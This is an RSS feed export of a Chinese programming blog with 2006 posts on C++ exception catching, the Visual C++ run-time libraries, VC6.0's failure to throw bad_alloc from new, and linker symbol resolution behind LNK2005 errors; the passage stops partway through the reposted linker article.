﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-为了遗忘的记录</title><link>http://www.cnitblog.com/Raistlin/</link><description>Think!</description><language>zh-cn</language><lastBuildDate>Thu, 12 Mar 2026 01:56:54 GMT</lastBuildDate><pubDate>Thu, 12 Mar 2026 01:56:54 GMT</pubDate><ttl>60</ttl><item><title>还是关于异常</title><link>http://www.cnitblog.com/Raistlin/archive/2006/05/31/11300.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Wed, 31 May 2006 03:40:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/05/31/11300.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/11300.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/05/31/11300.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/11300.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/11300.html</trackback:ping><description><![CDATA[早上看到一篇别人的blog,上有如下代码:<br />try{<br />   ...<br />   throw "teststring";//1<br />}<br />catch(string &amp; rs){//2<br />   ...<br />}<br />想要用//2处的语句来捕获//1处的异常,当然是不对的.<br />正确的应该是:<br />catch(char * ps){ 或 catch(const char * ps){<br /><br />其实因为"teststring"是保存在代码段中的,所以应该抛出const指针<br />try{<br />   ...<br />   throw static_cast&lt;const char *&gt;("teststring");<br />}<br />catch(char * ps){//错,改为=&gt; catch(const char * ps){<br />   ...<br />}<br />天下太平,但如果钻牛角尖:<br />try{<br />   ...<br />   throw static_cast&lt;const char *&gt;("teststring");//3<br />}<br />catch(const char * const&amp; rps){//4<br />   ...<br />}<br />可以吗?编译正常,但//4无法捕获//3的异常.<br />但为什么<br />try{<br />   ...<br />   throw static_cast&lt;const string&gt;string("teststring");//5<br />}<br />catch(const string &amp; rs){//6<br />   ...<br />}<br />//6处就可以捕获到//5处的异常呢<br />因为//5处抛出的异常类型根本就不是const的.只是string的类型<br />而//3处的异常的类型的确是cosnt char *<br />嘿嘿...<br /><br />简单的说异常的处理需要引入一个全局的对象.<br />throw x;的时候用x来给这个全局对象y赋值,当捕获的时候在catch( type z)处,用y给z赋值.<br />如果x的类型不是指针(比如string),不管它有没有常量性,y的类型都是string,而z的类型不管是string 还是const string都能捕获x.<br /><br />但是,当x的类型是指针的时候,y的类型的常量性和x是一致的,z的类型也只有和x一致才能捕获x的异常.<br /><br />但//4处就是不能捕获//3的异常.<br />也许是VC++的问题?<br />不知道别的编译器如何.<br />还好用引用来捕获指针...普通人应该都不会这么做-_-<br />但尽量用const类型来catch,应该是个好习惯.<br /><br /><br /><img src ="http://www.cnitblog.com/Raistlin/aggbug/11300.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-05-31 11:40 <a href="http://www.cnitblog.com/Raistlin/archive/2006/05/31/11300.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何理解C run-time library</title><link>http://www.cnitblog.com/Raistlin/archive/2006/05/29/11179.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 29 May 2006 04:11:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/05/29/11179.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/11179.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/05/29/11179.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/11179.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/11179.html</trackback:ping><description><![CDATA[
		<p>如何理解C run-time library(转,只在互联网,原贴不知处)<br />注： 以下内容部分引自CSND中相关讨论的帖子，并结合自己的理解整理而成。仅供参考。</p>
		<p>1)运行时库就是 C run-time library，是 C 而非 C++ 语言世界的概念:取这个名字就是因为你的 C 程序运行时需要这些库中的函数.</p>
		<p>2)C 语言是所谓的“小内核”语言，就其语言本身来说很小（不多的关键字，程序流程控制，数据类型等）；所以，C 语言内核开发出来之后，Dennis Ritchie 和 Brian Kernighan 就用 C 本身重写了 90% 以上的 UNIX 系统函数，并且把其中最常用的部分独立出来，形成头文件和对应的 LIBRARY，C run-time library 就是这样形成的。</p>
		<p>3)随后，随着 C 语言的流行，各个 C 编译器的生产商/个体/团体都遵循老的传统，在不同平台上都有相对应的 Standard Library，但大部分实现都是与各个平台有关的。由于各个 C 编译器对 C 的支持和理解有很多分歧和微妙的差别，所以就有了 ANSI C；ANSI C （主观意图上）详细的规定了 C 语言各个要素的具体含义和编译器实现要求，引进了新的函数声明方式，同时订立了 Standard Library 的标准形式。所以C运行时库由编译器生产商提供。至于由其他厂商/个人/团体提供的头文件和库函数，应当称为第三方 C 运行库（Third party C run-time libraries）。</p>
		<p>4)C run-time library里面含有初始化代码，还有错误处理代码(例如divide by zero处理)。你写的程序可以没有math库，程序照样运行，只是不能处理复杂的数学运算，不过如果没有了C run-time库，main()就不会被调用，exit()也不能被响应。因为C run-time library包含了C程序运行的最基本和最常用的函数。</p>
		<p>
				<br />5)到了 C++ 世界里，有另外一个概念:Standard C++ Library,它包括了上面所说的 C run-time library 和 STL。包含 C run-time library 的原因很明显，C++ 是 C 的超集，没有理由再重新来一个 C++ run-time library. VC针对C++ 加入的Standard C++ Library主要包括：LIBCP.LIB, LIBCPMT.LIB和 MSVCPRT.LIB</p>
		<p>6)Windows环境下，VC提供的 C run-time library又分为动态运行时库和静态运行时库。<br />动态运行时库主要是DLL库文件msvcrt.dll(or MSVCRTD.DLL for debug build),对应的Import library文件是MSVCRT.LIB(MSVCRTD.LIB for debug build)<br />静态运行时库(release版)对应的主要文件是：<br />LIBC.LIB (Single thread static library, retail version)<br />LIBCMT.LIB (Multithread static library, retail version)</p>
		<p>msvcrt.dll提供几千个C函数，即使是像printf这么低级的函数都在msvcrt.dll里。其实你的程序运行时，很大一部分时间时在这些运行库里运行。在你的程序(release版)被编译时，VC会根据你的编译选项(单线程、多线程或DLL)自动将相应的运行时库文件(libc.lib,libcmt.lib或Import library msvcrt.lib)链接进来。</p>
		<p>编译时到底哪个C run-time library联入你的程序取决于编译选项：<br />/MD, /ML, /MT, /LD   (Use Run-Time Library)<br />你可以VC中通过以下方法设置选择哪个C run-time library联入你的程序：<br />To find these options in the development environment, click Settings on the Project menu. Then click the C/C++ tab, and click Code Generation in the Category box. See the Use Run-Time Library drop-down box.</p>
		<p>从程序可移植性考虑,如果两函数都可完成一种功能，选运行时库函数好,因为各个 C 编译器的生产商对标准C Run-time library提供了统一的支持.</p>
		<br />------------------------------------------------------------------------------<br /><p>MSDN上对每个Runtime的函数都有<strong>Compatibility</strong>解释.<br />如Debug Routines中的_CrtSetAllocHook和<strong>_CrtDbgReport</strong>就只在Win NT, Win 95下支持...<br />就是说如果想要在ANSI环境下实现内存泄漏的报告,就可能要自己实现了.<br />但ANSI中支持的运行库资料不知道在哪里找</p><img src ="http://www.cnitblog.com/Raistlin/aggbug/11179.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-05-29 12:11 <a href="http://www.cnitblog.com/Raistlin/archive/2006/05/29/11179.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么叫Link...什么叫Symbol</title><link>http://www.cnitblog.com/Raistlin/archive/2006/05/25/11029.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Thu, 25 May 2006 03:09:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/05/25/11029.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/11029.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/05/25/11029.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/11029.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/11029.html</trackback:ping><description><![CDATA[
		<p>以下代码在VC6.0中并不会抛出异常</p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<span style="COLOR: #0000ff">try</span>
				<span style="COLOR: #000000">{<br />  </span>
				<span style="COLOR: #0000ff">int</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #000000">*</span>
				<span style="COLOR: #000000"> p </span>
				<span style="COLOR: #000000">=</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #0000ff">new</span>
				<span style="COLOR: #000000"> </span>
				<span style="COLOR: #0000ff">int</span>
				<span style="COLOR: #000000">[</span>
				<span style="COLOR: #008000">/*</span>
				<span style="COLOR: #008000">0xFFFFFFE0</span>
				<span style="COLOR: #008000">*/</span>
				<span style="COLOR: #000000">numeric_limits</span>
				<span style="COLOR: #000000">&lt;</span>
				<span style="COLOR: #0000ff">int</span>
				<span style="COLOR: #000000">&gt;</span>
				<span style="COLOR: #000000">::max()];<br /> }<br /> </span>
				<span style="COLOR: #0000ff">catch</span>
				<span style="COLOR: #000000">(bad_alloc x){<br />  cerr</span>
				<span style="COLOR: #000000">&lt;&lt;</span>
				<span style="COLOR: #000000">x.what();<br /> }</span>
		</div>
		<p>和标准C++描述的不一样.<br />new会被链接到一个debug版本的库,然后跳出一个assert.<br />就算参数符合assert条件,若分配失败,只是返回0,并不抛出bac_alloc异常.<br />在网上找了两篇文章,对VC甚不耐烦<br /><br />(据说出自CSDN,谁写的无心情去考究了):<br /><strong>在VC6.0中如何让new操作失败后抛出异常？</strong><br /><br />标准C++规定new一个对象时如果分配内存失败就应抛出一个std::bad_alloc异常，如果不希望抛出异常而仅仅传回一个NULL指针，可以用new的无异常版本：new(nothrow)。</p>
		<p>VC6.0在&lt;new&gt;头文件中声明了这两种operator new操作符：</p>
		<p>void *__cdecl operator new(size_t) _THROW1(std::bad_alloc)；</p>
		<p>void *__cdecl operator new(size_t, const std::nothrow_t&amp;) _THROW0()；</p>
		<p>并分别定义在newop.cpp和newop2.cpp中。而_THROW0和_THROW1则是两个宏，在Include目录的xstddef文件中定义:</p>
		<p>#define _THROW0() throw ()</p>
		<p>#define _THROW1(x) throw (x)</p>
		<p>newop.cpp和newop2.cpp对应的目标模块被打包进标准C++库中。标准C++库有若干个版本: libcp.lib(单线程静态版)、libcpd.lib(单线程静态调试版)、libcpmt.lib(多线程静态版)、libcpmtd.lib(多线程静态调试版)、msvcprt.lib(多线程动态版的导入库)，msvcprtd.lib(多线程动态调试版的导入库)，这些库与相应版本的C标准库一起使用，比如libcp.lib与libc.lib搭配。另外，VC6.0在new.cpp还定义了一个operator new，原型如下 :</p>
		<p>void * operator new( unsigned int cb )</p>
		<p>而new.cpp对应的目标模块却是被打包进C标准库中的(是不是有点奇怪?)。</p>
		<p>一般来说，程序员不会显式指定链接C++标准库，可是当程序中确实使用了标准C++库时链接器却能聪明地把相应的C++标准库文件加进输入文件列表，这是为什么？其实任何一个C++标准头文件都会直接或间接地包含use_ansi.h文件，打开它一看便什么都清楚了(源码之前，了无秘密) :</p>
		<p>/***</p>
		<p>*use_ansi.h - pragmas for ANSI Standard C++ libraries</p>
		<p>*</p>
		<p>* Copyright (c) 1996-1997, Microsoft Corporation. All rights reserved.</p>
		<p>*</p>
		<p>*Purpose:</p>
		<p>* This header is intended to force the use of the appropriate ANSI</p>
		<p>* Standard C++ libraries whenever it is included.</p>
		<p>*</p>
		<p>* [Public]</p>
		<p>*</p>
		<p>****/</p>
		<p>#if _MSC_VER &gt; 1000</p>
		<p>#pragma once</p>
		<p>#endif</p>
		<p>#ifndef _USE_ANSI_CPP</p>
		<p>#define _USE_ANSI_CPP</p>
		<p>#ifdef _MT</p>
		<p>#ifdef _DLL</p>
		<p>#ifdef _DEBUG</p>
		<p>#pragma comment(lib,"msvcprtd")</p>
		<p>#else// _DEBUG</p>
		<p>#pragma comment(lib,"msvcprt")</p>
		<p>#endif// _DEBUG</p>
		<p>#else// _DLL</p>
		<p>#ifdef _DEBUG</p>
		<p>#pragma comment(lib,"libcpmtd")</p>
		<p>#else// _DEBUG</p>
		<p>#pragma comment(lib,"libcpmt")</p>
		<p>#endif// _DEBUG</p>
		<p>#endif// _DLL</p>
		<p>#else// _MT</p>
		<p>#ifdef _DEBUG</p>
		<p>#pragma comment(lib,"libcpd")</p>
		<p>#else// _DEBUG</p>
		<p>#pragma comment(lib,"libcp")</p>
		<p>#endif// _DEBUG</p>
		<p>#endif</p>
		<p>#endif// _USE_ANSI_CPP</p>
		<p>现在我们用实际代码来测试一下new会不会抛出异常，建一个test.cpp源文件：</p>
		<p>// test.cpp</p>
		<p>#include &lt;new&gt;</p>
		<p>#include &lt;iostream&gt;</p>
		<p>using namespace std;</p>
		<p>class BigClass </p>
		<p>{</p>
		<p>public:</p>
		<p>BigClass() {}</p>
		<p>~BigClass(){}</p>
		<p>char BigArray[0x7FFFFFFF];</p>
		<p>};</p>
		<p>int main()</p>
		<p>{</p>
		<p>try </p>
		<p>{</p>
		<p>BigClass *p = new BigClass;</p>
		<p>}</p>
		<p>catch( bad_alloc &amp;a) </p>
		<p>{</p>
		<p>cout &lt;&lt; "new BigClass, threw a bad_alloc exception" &lt;&lt; endl;</p>
		<p>}</p>
		<p>BigClass *q = new(nothrow) BigClass;</p>
		<p>if ( q == NULL )</p>
		<p>cout &lt;&lt; "new(nothrow) BigClass, returned a NULL pointer" &lt;&lt; endl;</p>
		<p>try </p>
		<p>{</p>
		<p>BigClass *r = new BigClass[1];</p>
		<p>}</p>
		<p>catch( bad_alloc &amp;a) </p>
		<p>{</p>
		<p>cout &lt;&lt; "new BigClass[1], threw a bad_alloc exception" &lt;&lt; endl;</p>
		<p>}</p>
		<p>return 0;</p>
		<p>} </p>
		<p>根据VC6.0编译器与链接器的做法(请参考《为什么会出现LNK2005"符号已定义"的链接错误？》)，链接器会首先在C++标准库中解析符号，然后才是C标准库，所以如果开发者没有自定义operator new的话最后程序链接的应该是C++标准库中newop.obj和newop2.obj模块里的代码。可是程序运行的结果却是:</p>
		<p>new(nothrow) BigClass, returned a NULL pointer</p>
		<p>显然程序始终未抛出bad_alloc异常。单步跟踪观察，发现第1个和第3个new实际上调用了new.cpp里的operator new，而第二个new(nothrow)则正确地调用了newop2.cpp定义的版本。很难理解是吧？但是当你用</p>
		<p>dumpbin /SYMBOLS libcp.lib</p>
		<p>dump出libcp.lib所有的符号信息时，你会发现其中的newop.obj模块没有定义任何符号(其它版本也一样)。不可思议！newop.cpp的实现代码明明写在那儿，怎么会....？让我们再仔细看看newop.cpp，咦，operator new的定义被包裹在一个#if...#endif块中:</p>
		<p>#if !defined(_MSC_EXTENSIONS)</p>
		<p>...</p>
		<p>...</p>
		<p>void *__cdecl operator new(size_t size) _THROW1(_STD bad_alloc)</p>
		<p>{</p>
		<p>...</p>
		<p>...</p>
		<p>}</p>
		<p>#endif</p>
		<p>哦，原来需要_MSC_EXTENSIONS宏未定义，实现代码才是有效的啊。那么这个宏是什么意思？其实Visual C++在语言层面上对ANSI C标准做了一些特殊的扩展，定义_MSC_EXTENSIONS意味着编译器支持这样的扩展，没有定义它编译器就会严格按照ANSI C标准来编译程序。实际上如果指定了编译选项/Ze编译器就会自动定义这个宏，指定/Za则不会，而且/Ze是缺省选项。作者猜想Visual Studio的开发人员在build标准C++库时很可能没有指定/Za，导致newop.cpp中的operator new定义被无情抛弃。是他们的疏漏吗？我看未必，大家可以试试用/Za选项去编译那些标准库文件，看看有多少编译不通过。VC标准库的实现用了很多微软扩展的语言特性，不指定/Za是情有可原的，我不明白的是newop.cpp的作者(好象是P.J. Plauger老人家)为什么会加上一个如此愚蠢的"#if !defined(_MSC_EXTENSIONS)"，因为实在看不出这个operator new定义与_MSC_EXTENSIONS有什么冲突的地方。</p>
		<p>既然标准C++库里的newop.obj是个空壳，那我们就只好自己动手丰衣足食了。把newop.cpp和dbgint.h(都在VC98\crt\src目录下)拷贝到test.cpp所在的目录，并将newop.cpp中的</p>
		<p>#include &lt;dbgint.h&gt;</p>
		<p>改成</p>
		<p>#include "dbgint.h"</p>
		<p>然后用</p>
		<p>cl /c /Za /D_CRTBLD newop.cpp</p>
		<p>编译它。/D_CRTBLD定义了_CRTBLD宏，为什么这么做呢？因为dbgint.h属于内部头文件，VC不希望应用程序用到它，便在文件中埋伏了这么一段:</p>
		<p>#ifndef _CRTBLD</p>
		<p>/*</p>
		<p>* This is an internal C runtime header file. It is used when building</p>
		<p>* the C runtimes only. It is not to be used as a public header file.</p>
		<p>*/</p>
		<p>#error ERROR: Use of C runtime library internal header file.</p>
		<p>#endif /* _CRTBLD */</p>
		<p>可我们确确实实是想build标准库(的一部分)，所以只好强行突破这个限制了。然后编译test.cpp:</p>
		<p>cl /c /GX test.cpp</p>
		<p>最后进行链接:</p>
		<p>link test.obj newop.obj</p>
		<p>这时再运行test.exe输出的结果就是</p>
		<p>new BigClass, threw a bad_alloc exception</p>
		<p>new(nothrow) BigClass, returned a NULL pointer</p>
		<p>new BigClass[1], threw a bad_alloc exception</p>
		<p>值得庆幸的是虽然VC6.0如此弱智，但VC7.1却表现良好，原因是VC7.1的newop.cpp和newaop.cpp(数组版)取消了那个愚的"#if !defined(_MSC_EXTENSIONS)"，于是标准C++库中的newop.obj和newaop.obj模块都实实在在地有了相应代码。另外，nothrow版的定义也分别转移到了newopnt.cpp和newaopnt.cpp中。</p>
		<p>后记: 作者在2001年便碰到过这个问题，百思不得其解，于是在CSDN论坛上发问，也不见答复。从此便搁置一旁，直到最近因探究LNK2005链接错误而彻底弄清楚VC链接器解析符号的规则后，才意识到二者或有联系。于是重拾旧疑，顺藤而上，果然问题就迎刃而解。此题虽小，功夫却做足，最后总算水落石出，解除了4年的积惑。<br /></p>
		<p>
				<br />另一篇文章(网上被大量转载,来源不可知,我觉得这篇文章有些内容不一定正确):<br /><strong>为什么会出现LNK2005"符号已定义"的链接错误?<br /></strong>  许多Visual C++的使用者都碰到过LNK2005:symbol already defined和LNK1169:one or more multiply defined symbols found这样的链接错误，而且通常是在使用第三方库时遇到的。对于这个问题，有的朋友可能不知其然，而有的朋友可能知其然却不知其所以然，那么本文就试图为大家彻底解开关于它的种种疑惑。</p>
		<p>    大家都知道，从C/C++源程序到可执行文件要经历两个阶段:(1)编译器将源文件编译成汇编代码，然后由汇编器(assembler)翻译成机器指令(再加上其它相关信息)后输出到一个个目标文件(object file,VC的编译器编译出的目标文件默认的后缀名是.obj)中；(2)链接器(linker)将一个个的目标文件(或许还会有若干程序库)链接在一起生成一个完整的可执行文件。</p>
		<p>    编译器编译源文件时会把源文件的全局符号(global symbol)分成强(strong)和弱(weak)两类传给汇编器，而随后汇编器则将强弱信息编码并保存在目标文件的符号表中。那么何谓强弱呢？编译器认为函数与初始化了的全局变量都是强符号，而未初始化的全局变量则成了弱符号。比如有这么个源文件:</p>
		<p>extern int errorno;<br />int buf[2] = {1,2};<br />int *p;</p>
		<p>int main()<br />{<br />   return 0;<br />}</p>
		<p>其中main、buf是强符号，p是弱符号，而errorno则非强非弱，因为它只是个外部变量的使用声明。</p>
		<p>    有了强弱符号的概念，我们就可以看看链接器是如何处理与选择被多次定义过的全局符号:</p>
		<p>规则1: 不允许强符号被多次定义(即不同的目标文件中不能有同名的强符号)；</p>
		<p>
				<br />规则2: 如果一个符号在某个目标文件中是强符号，在其它文件中都是弱符号，那么选择强符号；</p>
		<p>
				<br />规则3: 如果一个符号在所有目标文件中都是弱符号，那么选择其中任意一个；</p>
		<p>    由上可知多个目标文件不能重复定义同名的函数与初始化了的全局变量，否则必然导致LNK2005和LNK1169两种链接错误。可是，有的时候我们并没有在自己的程序中发现这样的重定义现象，却也遇到了此种链接错误，这又是何解？嗯，问题稍微有点儿复杂，容我慢慢道来。</p>
		<p>
				<br />    众所周知，ANSI C/C++ 定义了相当多的标准函数，而它们又分布在许多不同的目标文件中，如果直接以目标文件的形式提供给程序员使用的话，就需要他们确切地知道哪个函数存在于哪个目标文件中，并且在链接时显式地指定目标文件名才能成功地生成可执行文件，显然这是一个巨大的负担。所以C语言提供了一种将多个目标文件打包成一个文件的机制，这就是静态程序库(static library)。开发者在链接时只需指定程序库的文件名，链接器就会自动到程序库中寻找那些应用程序确实用到的目标模块，并把(且只把)它们从库中拷贝出来参与构建可执行文件。几乎所有的C/C++开发系统都会把标准函数打包成标准库提供给开发者使用(有不这么做的吗？)。</p>
		<p>    程序库为开发者带来了方便，但同时也是某些混乱的根源。我们来看看链接器是如何解析(resolve)对程序库的引用的。<br />    <br />    在符号解析(symbol resolution)阶段，链接器按照所有目标文件和库文件出现在命令行中的顺序从左至右依次扫描它们，在此期间它要维护若干个集合:(1)集合E是将被合并到一起组成可执行文件的所有目标文件集合；(2)集合U是未解析符号(unresolved symbols，比如已经被引用但是还未被定义的符号)的集合；(3)集合D是所有之前已被加入到E的目标文件定义的符号集合。一开始，E、U、D都是空的。</p>
		<p>(1): 对命令行中的每一个输入文件f，链接器确定它是目标文件还是库文件，如果它是目标文件，就把f加入到E，并把f中未解析的符号和已定义的符号分别加入到U、D集合中，然后处理下一个输入文件。</p>
		<p>(2): 如果f是一个库文件，链接器会尝试把U中的所有未解析符号与f中各目标模块定义的符号进行匹配。如果某个目标模块m定义了一个U中的未解析符号，那么就把m加入到E中，并把m中未解析的符号和已定义的符号分别加入到U、D集合中。不断地对f中的所有目标模块重复这个过程直至到达一个不动点(fixed point)，此时U和D不再变化。而那些未加入到E中的f里的目标模块就被简单地丢弃，链接器继续处理下一输入文件。</p>
		<p>(3): 如果处理过程中往D加入一个已存在的符号，或者当扫描完所有输入文件时U非空，链接器报错并停止动作。否则，它把E中的所有目标文件合并在一起生成可执行文件。</p>
		<p>    VC带的编译器名字叫cl.exe，它有这么几个与标准程序库有关的选项: /ML、/MLd、/MT、/MTd、/MD、/MDd。这些选项告诉编译器应用程序想使用什么版本的C标准程序库。/ML(缺省选项)对应单线程静态版的标准程序库(libc.lib)；/MT对应多线程静态版标准库(libcmt.lib)，此时编译器会自动定义_MT宏；/MD对应多线程DLL版(导入库msvcrt.lib，DLL是msvcrt.dll)，编译器自动定义_MT和_DLL两个宏。后面加d的选项都会让编译器自动多定义一个_DEBUG宏，表示要使用对应标准库的调试版，因此/MLd对应调试版单线程静态标准库(libcd.lib)，/MTd对应调试版多线程静态标准库(libcmtd.lib)，/MDd对应调试版多线程DLL标准库(导入库msvcrtd.lib，DLL是msvcrtd.dll)。虽然我们的确在编译时明白无误地告诉了编译器应用程序希望使用什么版本的标准库，可是当编译器干完了活，轮到链接器开工时它又如何得知一个个目标文件到底在思念谁？为了传递相思，我们的编译器就干了点秘密的勾当。在cl编译出的目标文件中会有一个专门的区域(关心这个区域到底在文件中什么地方的朋友可以参考COFF和PE文件格式)存放一些指导链接器如何工作的信息，其中有一种就叫缺省库(default library)，这些信息指定了一个或多个库文件名，告诉链接器在扫描的时候也把它们加入到输入文件列表中(当然顺序位于在命令行中被指定的输入文件之后)。说到这里，我们先来做个小实验。写个顶顶简单的程序，然后保存为main.c :</p>
		<p>/* main.c */<br />int main() { return 0; }</p>
		<p>用下面这个命令编译main.c(什么？你从不用命令行来编译程序？这个......) :</p>
		<p>cl /c main.c</p>
		<p>/c是告诉cl只编译源文件，不用链接。因为/ML是缺省选项，所以上述命令也相当于: cl /c /ML main.c 。如果没什么问题的话(要出了问题才是活见鬼！当然除非你的环境变量没有设置好，这时你应该去VC的bin目录下找到vcvars32.bat文件然后运行它。)，当前目录下会出现一个main.obj文件，这就是我们可爱的目标文件。随便用一个文本编辑器打开它(是的，文本编辑器，大胆地去做别害怕)，搜索"defaultlib"字符串，通常你就会看到这样的东西: "-defaultlib:LIBC -defaultlib:OLDNAMES"。啊哈，没错，这就<br />是保存在目标文件中的缺省库信息。我们的目标文件显然指定了两个缺省库，一个是单线程静态版标准库libc.lib(这与/ML选项相符)，另外一个是oldnames.lib(它是为了兼容微软以前的C/C++开发系统)。</p>
		<p>    VC的链接器是link.exe，因为main.obj保存了缺省库信息，所以可以用</p>
		<p>link main.obj libc.lib</p>
		<p>或者</p>
		<p>link main.obj</p>
		<p>来生成可执行文件main.exe，这两个命令是等价的。但是如果你用</p>
		<p>link main.obj libcd.lib</p>
		<p>的话，链接器会给出一个警告: "warning LNK4098: defaultlib "LIBC" conflicts with use of other libs; use /NODEFAULTLIB:library"，因为你显式指定的标准库版本与目标文件的缺省值不一致。通常来说，应该保证链接器合并的所有目标文件指定的缺省标准库版本一致，否则编译器一定会给出上面的警告，而LNK2005和LNK1169链接错误则有时会出现有时不会。那么这个有时到底是什么时候？呵呵，别着急，下面的一切正是为喜欢追根究底的你准备的。</p>
		<p>    建一个源文件，就叫mylib.c，内容如下:</p>
		<p>/* mylib.c */<br />#include &lt;stdio.h&gt;</p>
		<p>void foo()<br />{<br />   printf("%s","I am from mylib!\n");<br />}</p>
		<p>用</p>
		<p>cl /c /MLd mylib.c</p>
		<p>命令编译，注意/MLd选项是指定libcd.lib为默认标准库。lib.exe是VC自带的用于将目标文件打包成程序库的命令，所以我们可以用</p>
		<p>lib /OUT:my.lib mylib.obj</p>
		<p>将mylib.obj打包成库，输出的库文件名是my.lib。接下来把main.c改成:</p>
		<p>/* main.c */<br />void foo();</p>
		<p>int main()<br />{<br />   foo();<br />   return 0;<br />}</p>
		<p>用</p>
		<p>cl /c main.c</p>
		<p>编译，然后用</p>
		<p>link main.obj my.lib</p>
		<p>进行链接。这个命令能够成功地生成main.exe而不会产生LNK2005和LNK1169链接错误，你仅仅是得到了一条警告信息:"warning LNK4098: defaultlib "LIBCD" conflicts with use of other libs; use /NODEFAULTLIB:library"。我们根据前文所述的扫描规则来分析一下链接器此时做了些啥。</p>
		<p>    一开始E、U、D都是空集，链接器首先扫描到main.obj，把它加入E集合，同时把未解析的foo加入U，把main加入D，而且因为main.obj的默认标准库是libc.lib，所以它被加入到当前输入文件列表的末尾。接着扫描my.lib，因为这是个库，所以会拿当前U中的所有符号(当然现在就一个foo)与my.lib中的所有目标模块(当然也只有一个mylib.obj)依次匹配，看是否有模块定义了U中的符号。结果mylib.obj确实定义了foo，于是它被加入到E，foo从U转移到D，mylib.obj引用的printf加入到U，同样地，mylib.obj指定的默认标准库是libcd.lib，它也被加到当前输入文件列表的末尾(在libc.lib的后面)。不断地在my.lib库的各模块上进行迭代以匹配U中的符号，直到U、D都不再变化。很明显，现在就已经到达了这么一个不动点，所以接着扫描下一个输入文件，就是libc.lib。链接器发现libc.lib里的printf.obj里定义有printf，于是printf从U移到D，而printf.obj被加入到E，它定义的所有符号加入到D，它里头的未解析符号加入到U。链接器还会把每个程序都要用到的一些初始化操作所在的目标模块(比如crt0.obj等)及它们所引用的模块(比如malloc.obj、free.obj等)自动加入到E中，并更新U和D以反应这个变化。事实上，标准库各目标模块里的未解析符号都可以在库内其它模块中找到定义，因此当链接器处理完libc.lib时，U一定是空的。最后处理libcd.lib，因为此时U已经为空，所以链接器会抛弃它里面的所有目标模块从而结束扫描，然后合并E中的目标模块并输出可执行文件。</p>
		<p>    上文描述了虽然各目标模块指定了不同版本的缺省标准库但仍然链接成功的例子，接下来你将目睹因为这种不严谨而导致的悲惨失败。</p>
		<p>    修改mylib.c成这个样子:</p>
		<p>#include &lt;crtdbg.h&gt;</p>
		<p>void foo()<br />{<br />   // just a test , don't care memory leak<br />   _malloc_dbg( 1, _NORMAL_BLOCK, __FILE__, __LINE__ );<br />}</p>
		<p>其中_malloc_dbg不是ANSI C的标准库函数，它是VC标准库提供的malloc的调试版，与相关函数配套能帮助开发者抓各种内存错误。使用它一定要定义_DEBUG宏，否则预处理器会把它自动转为malloc。继续用</p>
		<p>cl /c /MLd mylib.c<br />lib /OUT:my.lib mylib.obj</p>
		<p>编译打包。当再次用</p>
		<p>link main.obj my.lib</p>
		<p>进行链接时，我们看到了什么？天哪，一堆的LNK2005加上个贵为"fatal error"的LNK1169垫底，当然还少不了那个LNK4098。链接器是不是疯了？不，你冤枉可怜的链接器了，我拍胸脯保证它可是一直在尽心尽责地照章办事。</p>
